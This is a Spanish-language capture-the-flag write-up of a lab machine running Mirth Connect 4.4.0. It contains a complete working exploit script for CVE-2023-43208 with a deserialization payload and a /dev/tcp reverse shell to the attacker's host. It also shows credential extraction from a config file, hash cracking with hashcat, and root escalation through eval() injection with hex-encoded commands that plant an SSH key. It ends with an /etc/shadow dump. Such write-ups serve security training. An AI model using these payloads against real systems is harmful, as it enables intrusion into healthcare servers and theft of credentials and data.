En Interpreter corre Mirth Connect en una version vulnerable que permitio el acceso inicial. La base de datos alojaba el hash de contrasena para un nuevo usuario. Finalmente escalamos privilegios con la explotacion de una vulnerabilidad en un script de Python.
| Nombre |
Interpreter 0 |
| OS |
Linux  |
| Puntos |
30 |
| Dificultad |
Medium |
| Fecha de Salida |
2026-02-21 |
| IP |
10.129.4.89 |
| Maker |
ReziT |
|
Rated
|
{
"type": "bar",
"data": {
"labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"],
"datasets": [{
"label": "User Rated Difficulty",
"data": [227, 170, 637, 526, 490, 168, 95, 20, 13, 30],
"backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"]
}]
},
"options": {
"scales": {
"xAxes": [{"display": false}],
"yAxes": [{"display": false}]
},
"legend": {"labels": {"fontColor": "white"}},
"responsive": true
}
}
|
Recon
nmap
nmap muestra multiples puertos abiertos: http (80), https (443) y ssh (22).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
# Nmap 7.95 scan initiated Mon Feb 23 23:36:12 2026 as: /usr/lib/nmap/nmap --privileged -p22,80,443,6661 -sV -sC -oN nmap_scan 10.129.4.89
Nmap scan report for 10.129.4.89
Host is up (0.067s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 07:eb:d1:b1:61:9a:6f:38:08:e0:1e:3e:5b:61:03:b9 (ECDSA)
|_ 256 fc:d5:7a:ca:8c:4f:c1:bd:c7:2f:3a:ef:e1:5e:99:0f (ED25519)
80/tcp open http Jetty
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Mirth Connect Administrator
443/tcp open ssl/http Jetty
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mirth-connect
| Not valid before: 2025-09-19T12:50:05
|_Not valid after: 2075-09-19T12:50:05
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Mirth Connect Administrator
6661/tcp open unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Feb 23 23:39:17 2026 -- 1 IP address (1 host up) scanned in 184.74 seconds
|
Web Site
El puerto 80 muestra Mirth Connect.

Para el puerto 443, muestra el mismo contenido pero con un formulario de login.

El boton Launch Mirth Connect Administrator descarga el archivo webstart.jnlp donde se indica la version 4.4.0
1
2
3
4
5
6
7
8
9
10
11
12
|
❯ cat ~/Downloads/webstart.jnlp|head
<jnlp codebase="https://10.129.4.89:443" version="4.4.0">
<information>
<title>Mirth Connect Administrator 4.4.0</title>
<vendor>NextGen Healthcare</vendor>
<homepage href="http://www.nextgen.com"/>
❯
|
User - Mirth
CVE-2023-43208
NextGen Mirth Connect tiene una vulnerabilidad tipo RCE en la version 4.4.0, confirmamos con una solicitud a la API.
1
2
3
|
❯ curl -k -H 'X-Requested-With: OpenAPI' https://10.129.4.89:443/api/server/version ; echo
4.4.0
❯
|
Encontramos un exploit el cual simplificamos. El payload contiene una estructura XML con el comando a ejecutar dentro del metodo exec al endpoint /api/users.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
|
import argparse
import requests
import sys
import urllib3
urllib3.disable_warnings()
if len(sys.argv) < 1:
print(f"Usage: {sys.argv[0]} command")
sys.exit(0)
MIRTH_URL = 'https://10.129.4.89'
endpoint = "/api/users"
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 14.0; rv:109.0) Gecko/20100101 Firefox/118.0",
"X-Requested-With": "OpenAPI",
"Content-Type": "application/xml"
}
proxies = {'https':'127.0.0.1:8080'}
def payload(cmd):
cmd = cmd.replace("&", "&")
cmd = cmd.replace("<", "<")
cmd = cmd.replace(">", ">")
cmd = cmd.replace('"', """)
cmd = cmd.replace("'", "'")
payload = f'''<sorted-set>
<string>abcd</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
<target class="org.apache.commons.collections4.functors.ChainedTransformer">
<iTransformers>
<org.apache.commons.collections4.functors.ConstantTransformer>
<iConstant class="java-class">java.lang.Runtime</iConstant>
</org.apache.commons.collections4.functors.ConstantTransformer>
<org.apache.commons.collections4.functors.InvokerTransformer>
<iMethodName>getMethod</iMethodName>
<iParamTypes>
<java-class>java.lang.String</java-class>
<java-class>[Ljava.lang.Class;</java-class>
</iParamTypes>
<iArgs>
<string>getRuntime</string>
<java-class-array/>
</iArgs>
</org.apache.commons.collections4.functors.InvokerTransformer>
<org.apache.commons.collections4.functors.InvokerTransformer>
<iMethodName>invoke</iMethodName>
<iParamTypes>
<java-class>java.lang.Object</java-class>
<java-class>[Ljava.lang.Object;</java-class>
</iParamTypes>
<iArgs>
<null/>
<object-array/>
</iArgs>
</org.apache.commons.collections4.functors.InvokerTransformer>
<org.apache.commons.collections4.functors.InvokerTransformer>
<iMethodName>exec</iMethodName>
<iParamTypes>
<java-class>java.lang.String</java-class>
</iParamTypes>
<iArgs>
<string>{cmd}</string>
</iArgs>
</org.apache.commons.collections4.functors.InvokerTransformer>
</iTransformers>
</target>
<methodName>transform</methodName>
<eventTypes>
<string>compareTo</string>
</eventTypes>
</handler>
</dynamic-proxy>
</sorted-set>'''
return payload
def send_exploit(payload):
r = requests.post(url = MIRTH_URL + endpoint,
headers=headers,
data=payload,
timeout=20,
verify=False,
proxies = proxies)
def main():
parser = argparse.ArgumentParser(description="Task Runner / Shell Connector")
# Command
parser.add_argument("-cmd", type=str, help="Execute a single command")
# Shell
parser.add_argument("-shell", action="store_true", help="Initialize shell mode")
parser.add_argument("-lhost", type=str, help="Local host IP for shell")
parser.add_argument("-lport", type=int, help="Local port for shell")
args = parser.parse_args()
if args.cmd:
print(f"[*] Executing Command: {args.cmd}")
command = send_exploit(payload(args.cmd))
elif args.shell:
if not args.lhost or not args.lport:
print("[-] Error: -shell requires both -lhost and -lport")
sys.exit(1)
print(f"[*] Initializing shell on {args.lhost}:{args.lport}")
shell_cmd = f"sh -c $@|sh . echo bash -c '0<&53-;exec 53<>/dev/tcp/{args.lhost}/{args.lport};sh <&53 >&53 2>&53'"
send_exploit(payload(shell_cmd))
else:
parser.print_help()
if __name__ == "__main__":
main()
|
Confirmamos la ejecucion con curl.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
❯ python exploit.py 'curl 10.10.15.149'
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1"/>
<title>Error 500 Request failed.</title>
</head>
<body><h2>HTTP ERROR 500 Request failed.</h2>
<table>
<tr><th>URI:</th><td>/api/users</td></tr>
<tr><th>STATUS:</th><td>500</td></tr>
<tr><th>MESSAGE:</th><td>Request failed.</td></tr>
<tr><th>SERVLET:</th><td>org.glassfish.jersey.servlet.ServletContainer-2176ac82</td></tr>
</table>
</body>
</html>
❯
|
Observamos que la solicitud al servidor.
1
2
3
|
❯ httphere .
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.4.89 - - [24/Feb/2026 00:10:20] "GET / HTTP/1.1" 200 -
|
Shell
Ejecutamos la shell inversa del exploit.
1
2
3
|
❯ python exploit.py -shell -lhost 10.10.15.149 -lport 1335
[*] Initializing shell on 10.10.15.149:1335
❯
|
Logrando el acceso como mirth.
1
2
3
4
5
6
7
8
|
❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
10.129.4.89: inverse host lookup failed: Unknown host
connect to [10.10.15.149] from (UNKNOWN) [10.129.4.89] 36414
whoami
mirth
id
uid=103(mirth) gid=111(mirth) groups=111(mirth)
|
Mirth DB
En el archivo de configuracion mirt.properties encontramos las credenciales de la base de datos MySQL.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
pwd
/usr/local/mirthconnect/conf
ls -lah
total 24K
drwxr-xr-x 2 mirth mirth 4.0K Feb 16 15:42 .
drwxr-xr-x 14 mirth mirth 4.0K Feb 24 01:28 ..
-rwxr-xr-x 1 mirth mirth 1.5K Jul 18 2023 dbdrivers.xml
-rwxr-xr-x 1 mirth mirth 2.2K Sep 19 08:49 log4j2.properties
-rwxr-xr-x 1 mirth mirth 4.8K Feb 23 22:43 mirth.properties
cat mirth.properties | grep -v "#"
#[ ... cut ... ]
database = mysql
database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod
database.driver = org.mariadb.jdbc.Driver
database.max-connections = 20
database-readonly.max-connections = 20
database.username = mirthdb
database.password = MirthPass123!
database.connection.maxretry = 2
database.connection.retrywaitinmilliseconds = 10000
database.enable-read-write-split = true
|
Dentro de la base de datos encontramos un hash de contrasena.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
mysql -u mirthdb -p'MirthPass123!' -D mc_bdd_prod -e 'show tables'
Tables_in_mc_bdd_prod
ALERT
CHANNEL
CHANNEL_GROUP
CODE_TEMPLATE
CODE_TEMPLATE_LIBRARY
CONFIGURATION
DEBUGGER_USAGE
D_CHANNELS
D_M1
D_MA1
D_MC1
D_MCM1
D_MM1
D_MS1
D_MSQ1
EVENT
PERSON
PERSON_PASSWORD
PERSON_PREFERENCE
SCHEMA_INFO
SCRIPT
mysql -u mirthdb -p'MirthPass123!' -D mc_bdd_prod -e 'select * from PERSON_PASSWORD'
PERSON_ID PASSWORD PASSWORD_DATE
2 u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w== 2025-09-19 09:22:28
|
Cracking the Hash
Ejecutamos john con el wordlist rockyou.txt sobre el archivo de hash.
La documentacion indica PBKDF2WithHmacSHA256 con iteracion 600000, convertimos el hash a formato hashcat PBKDF2-HMAC-SHA256.
1
2
3
4
|
❯ INPUT="u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w=="
❯ echo "sha256:600000:$(echo -n "$INPUT" | base64 -d | head -c 8 | base64):$(echo -n "$INPUT" | base64 -d | tail -c 32 | base64)"
sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=
❯
|
Ejecutamos hashcat en modo 10900 logrando encontrar el valor del hash.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
PS C:\Users\x\Documents\github\hashcat-7.1.2> ./hashcat.exe -m 10900 'sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=' rockyou.txt
hashcat (v7.1.2) starting
Successfully initialized the NVIDIA main driver CUDA runtime library.
# ...
Dictionary cache hit:
* Filename..: rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=:snowflake1
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256)
Hash.Target......: sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD...Ld8Ps=
Time.Started.....: Tue Feb 24 00:56:30 2026 (9 secs)
Time.Estimated...: Tue Feb 24 00:56:39 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 2770 H/s (7.47ms) @ Accel:2 Loops:500 Thr:512 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 24576/14344385 (0.17%)
Rejected.........: 0/24576 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:599500-599999
Candidate.Engine.: Device Generator
Candidates.#01...: 123456 -> 280789
Hardware.Mon.#01.: Temp: 57c Fan: 0% Util: 99% Core:2760MHz Mem:8251MHz Bus:8
Started: Tue Feb 24 00:56:28 2026
Stopped: Tue Feb 24 00:56:40 2026
PS C:\Users\x\Documents\github\hashcat-7.1.2>
|
User - Sedric
Localmente existe el usuario sedric.
1
2
3
4
|
cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
sedric:x:1000:1000:sedric,,,:/home/sedric:/bin/bash
|
La contrasena es aceptada para este usuario por SSH.
1
2
3
4
|
❯ netexec ssh 10.129.4.89 -u sedric -p snowflake1
SSH 10.129.4.89 22 10.129.4.89 [*] SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7
SSH 10.129.4.89 22 10.129.4.89 [+] sedric:snowflake1 Linux - Shell access!
❯
|
Logramos acceso con este usuario y la flag user.txt.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
❯ ssh sedric@10.129.4.89
The authenticity of host '10.129.4.89 (10.129.4.89)' can't be established.
ED25519 key fingerprint is: SHA256:Oz7Fk6YvrB8/5uSyuoY+mqLefkwpPaepkXAppxIX0xk
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.4.89' (ED25519) to the list of known hosts.
sedric@10.129.4.89's password:
Linux interpreter 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Feb 24 02:00:05 2026 from 10.10.15.149
sedric@interpreter:~$ whoami;id
sedric
uid=1000(sedric) gid=1000(sedric) groups=1000(sedric)
sedric@interpreter:~$ ls
user.txt
sedric@interpreter:~$ cat user.txt
84a29439c28174701ff6506b20931223
sedric@interpreter:~$
|
Privesc
Localmente encontramos el script notif.py siendo ejecutado como root.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
sedric@interpreter:/dev/shm$ ps -aux | grep root
root 1 0.0 0.3 102012 12104 ? Ss Feb23 0:05 /sbin/init
# [... cut ...]
root 2262 0.0 0.0 0 0 ? S Feb23 0:00 [irq/16-vmwgfx]
root 2653 0.0 0.0 0 0 ? S Feb23 0:00 [audit_prune_tree]
root 2854 0.0 0.0 0 0 ? I< Feb23 0:00 [cryptd]
root 3178 0.0 0.0 6616 2744 ? Ss Feb23 0:00 /usr/sbin/cron -f
root 3185 0.0 0.1 221800 7120 ? Ssl Feb23 0:00 /usr/sbin/rsyslogd -n -iNONE
root 3188 0.0 0.1 17192 7820 ? Ss Feb23 0:00 /lib/systemd/systemd-logind
root 3196 0.0 0.1 16552 5920 ? Ss Feb23 0:00 /sbin/wpa_supplicant -u -s -O DIR=/run/wpa_supplicant GROUP=netdev
root 3250 0.0 0.0 5876 3484 ? Ss Feb23 0:00 dhclient -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
root 3380 0.1 0.2 144712 11368 ? Sl Feb23 0:23 /usr/sbin/vmtoolsd
root 3461 0.0 0.2 40776 11384 ? S Feb23 0:00 /usr/lib/vmware-vgauth/VGAuthService -s
root 3509 0.0 0.6 400204 25828 ? Ssl Feb23 0:09 /usr/bin/python3 /usr/bin/fail2ban-server -xf start
root 3514 0.0 0.7 39872 31020 ? Ss Feb23 0:03 /usr/bin/python3 /usr/local/bin/notif.py
root 3522 0.0 0.0 5880 1036 tty1 Ss+ Feb23 0:00 /sbin/agetty -o -p -- \u --noclear - linux
root 3536 0.0 0.2 15452 9348 ? Ss Feb23 0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root 3884 0.0 0.0 0 0 ? I Feb23 0:00 [kworker/1:1-events]
root 4056 0.0 0.0 0 0 ? I 00:04 0:00 [kworker/u4:0-flush-8:0]
root 4181 0.0 0.0 0 0 ? I 01:28 0:00 [kworker/u4:1-ext4-rsv-conversion]
root 4248 0.0 0.0 0 0 ? I 01:52 0:00 [kworker/u4:2-ext4-rsv-conversion]
root 4255 0.0 0.1 8996 4036 ? S 01:58 0:00 su sedric
root 4259 0.0 0.0 0 0 ? I 01:58 0:00 [kworker/1:2-events]
root 4281 0.0 0.2 17840 11228 ? Ss 02:00 0:00 sshd: sedric [priv]
root 4321 0.0 0.0 0 0 ? I 02:03 0:00 [kworker/0:1]
root 5199 0.0 0.0 0 0 ? I 02:08 0:00 [kworker/u4:3-ext4-rsv-conversion]
root 20676 0.0 0.0 0 0 ? I 02:09 0:00 [kworker/1:0-events]
sedric 28652 0.0 0.0 6340 2072 pts/0 S+ 02:13 0:00 grep root
sedric@interpreter:/dev/shm$ file /usr/local/bin/notif.py
/usr/local/bin/notif.py: Python script, ASCII text executable
sedric@interpreter:/dev/shm$
|
El script esta corriendo localmente y segun el comentario es parte de MirthConnect.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
|
#!/usr/bin/env python3
"""
Notification server for added patients.
This server listens for XML messages containing patient information and writes formatted notifications to files in /var/secure-health/patients/.
It is designed to be run locally and only accepts requests with preformated data from MirthConnect running on the same machine.
It takes data interpreted from HL7 to XML by MirthConnect and formats it using a safe templating function.
"""
from flask import Flask, request, abort
import re
import uuid
from datetime import datetime
import xml.etree.ElementTree as ET, os
app = Flask(__name__)
USER_DIR = "/var/secure-health/patients/"; os.makedirs(USER_DIR, exist_ok=True)
def template(first, last, sender, ts, dob, gender):
pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
for s in [first, last, sender, ts, dob, gender]:
if not pattern.fullmatch(s):
return "[INVALID_INPUT]"
# DOB format is DD/MM/YYYY
try:
year_of_birth = int(dob.split('/')[-1])
if year_of_birth < 1900 or year_of_birth > datetime.now().year:
return "[INVALID_DOB]"
except:
return "[INVALID_DOB]"
template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
try:
return eval(f"f'''{template}'''")
except Exception as e:
return f"[EVAL_ERROR] {e}"
@app.route("/addPatient", methods=["POST"])
def receive():
if request.remote_addr != "127.0.0.1":
abort(403)
try:
xml_text = request.data.decode()
xml_root = ET.fromstring(xml_text)
except ET.ParseError:
return "XML ERROR\n", 400
patient = xml_root if xml_root.tag=="patient" else xml_root.find("patient")
if patient is None:
return "No <patient> tag found\n", 400
id = uuid.uuid4().hex
data = {tag: (patient.findtext(tag) or "") for tag in ["firstname","lastname","sender_app","timestamp","birth_date","gender"]}
notification = template(data["firstname"],data["lastname"],data["sender_app"],data["timestamp"],data["birth_date"],data["gender"])
path = os.path.join(USER_DIR,f"{id}.txt")
with open(path,"w") as f:
f.write(notification+"\n")
return notification
if __name__=="__main__":
app.run("127.0.0.1",54321, threaded=True)
|
En este encontramos una posible vulnerabilidad XXE Injection en la ruta /addPatient.
1
2
3
4
5
6
7
8
|
import xml.etree.ElementTree as ET, os
@app.route("/addPatient", methods=["POST"])
def receive():
# ... cut ...
try:
xml_text = request.data.decode()
xml_root = ET.fromstring(xml_text)
|
Tambien una vulnerabilidad de tipo RCE con el uso de eval() en la funcion template() para la estructura enviada, especificamente para la edad.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
def template(first, last, sender, ts, dob, gender):
pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
for s in [first, last, sender, ts, dob, gender]:
if not pattern.fullmatch(s):
return "[INVALID_INPUT]"
# DOB format is DD/MM/YYYY
try:
year_of_birth = int(dob.split('/')[-1])
if year_of_birth < 1900 or year_of_birth > datetime.now().year:
return "[INVALID_DOB]"
except:
return "[INVALID_DOB]"
template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
try:
return eval(f"f'''{template}'''")
except Exception as e:
return f"[EVAL_ERROR] {e}"
|
RCE via eval
/addPatient toma una estructura XML la cual es evaluada con eval() por lo que podemos crear una estructura que contenga ejecucion de comandos en cualquiera de los valores enviados. Creamos la estructura con el codigo que ejecuta el comando id.
1
2
3
4
5
6
7
8
9
|
<?xml version="1.0" encoding="UTF-8"?>
<patient>
<firstname>{__import__('os').popen('id').read()}</firstname>
<lastname>Test</lastname>
<sender_app>Mirth</sender_app>
<timestamp>1200</timestamp>
<birth_date>01/01/2000</birth_date>
<gender>M</gender>
</patient>
|
Tras enviar nuestra estrucutra observamos que el comando fue ejecutado como root.
1
2
3
4
|
sedric@interpreter:/dev/shm$ wget --post-file=payload.xml --header="Content-Type: application/xml" 127.0.0.1:54321/addPatient -qO- ; echo
Patient uid=0(root) gid=0(root) groups=0(root)
Test (M), 26 years old, received from Mirth at 1200
sedric@interpreter:/dev/shm$
|
Shell
Generamos una clave publica para el usuario sedric.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
sedric@interpreter:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/sedric/.ssh/id_rsa):
Created directory '/home/sedric/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/sedric/.ssh/id_rsa
Your public key has been saved in /home/sedric/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:qGdMJx8HCxPwVkQrQCPoyit8RZiFOIIayHT3Rtdq08A sedric@interpreter
The key's randomart image is:
+---[RSA 3072]----+
|=ooo*o.+=.. |
|*+.o.=oo.E . |
|+.. + *oo + |
|.. o o.= * . |
|o . + S o |
|.. = + o |
|. . o + . |
|.o . o |
|. . |
+----[SHA256]-----+
sedric@interpreter:~$
|
Modificamos el payload para agregar nuestra clave al archivo authorized_keys de root. Se codifico en hex el comando ya que existe una expresion regular.
1
2
|
# cat /home/sedric/.ssh/id_rsa.pub > /root/.ssh/authorized_keys
<firstname>{__import__('os').system(bytes.fromhex('636174202f686f6d652f7365647269632f2e7373682f69645f7273612e707562203e202f726f6f742f2e7373682f617574686f72697a65645f6b657973').decode())}</firstname>
|
Tras enviar el payload logramos acceso por SSH y la flag root.txt.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
sedric@interpreter:/dev/shm$ cat payload.xml
<?xml version="1.0" encoding="UTF-8"?>
<patient>
<firstname>{__import__('os').system(bytes.fromhex('636174202f686f6d652f7365647269632f2e7373682f69645f7273612e707562203e202f726f6f742f2e7373682f617574686f72697a65645f6b657973').decode())}</firstname>
<lastname>Test</lastname>
<sender_app>Mirth</sender_app>
<timestamp>1200</timestamp>
<birth_date>01/01/2000</birth_date>
<gender>M</gender>
</patient>
sedric@interpreter:/dev/shm$ wget --post-file=payload.xml --header="Content-Type: application/xml" 127.0.0.1:54321/addPatient -qO- ; echo
Patient 0 Test (M), 26 years old, received from Mirth at 1200
sedric@interpreter:/dev/shm$ ssh root@localhost
Linux interpreter 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Feb 24 02:52:32 2026 from 127.0.0.1
root@interpreter:~# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)
root@interpreter:~# cat root.txt
0d1e21a338f6462676ed5bcb8ed3c03f
root@interpreter:~#
|
Dump Hashes
Realizamos la lectura del archivo /etc/shadow.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
root@interpreter:~# cat root.txt
0d1e21a338f6462676ed5bcb8ed3c03f
root@interpreter:~# cat /etc/shadow
root:$y$j9T$o.VVihLzQteSMxpHLdRkO.$ye7gwugB75H18vxlZ9Yp8uak36M3opreZHoWrWOJto7:20307:0:99999:7:::
daemon:*:20307:0:99999:7:::
bin:*:20307:0:99999:7:::
sys:*:20307:0:99999:7:::
sync:*:20307:0:99999:7:::
games:*:20307:0:99999:7:::
man:*:20307:0:99999:7:::
lp:*:20307:0:99999:7:::
mail:*:20307:0:99999:7:::
news:*:20307:0:99999:7:::
uucp:*:20307:0:99999:7:::
proxy:*:20307:0:99999:7:::
www-data:*:20307:0:99999:7:::
backup:*:20307:0:99999:7:::
list:*:20307:0:99999:7:::
irc:*:20307:0:99999:7:::
_apt:*:20307:0:99999:7:::
nobody:*:20307:0:99999:7:::
systemd-network:!*:20307::::::
systemd-timesync:!*:20307::::::
messagebus:!:20307::::::
avahi-autoipd:!:20307::::::
sshd:!:20307::::::
sedric:$y$j9T$MMATL11rB9egotaJXLTma0$VZ43M7Rr6.Ls7g8gZwoPCRWIXi6Wjv8j/d8iublq1nB:20495:0:99999:7:::
mirth:!:20311::::::
mysql:!:20350::::::
_laurel:!:20496::::::
root@interpreter:~#
|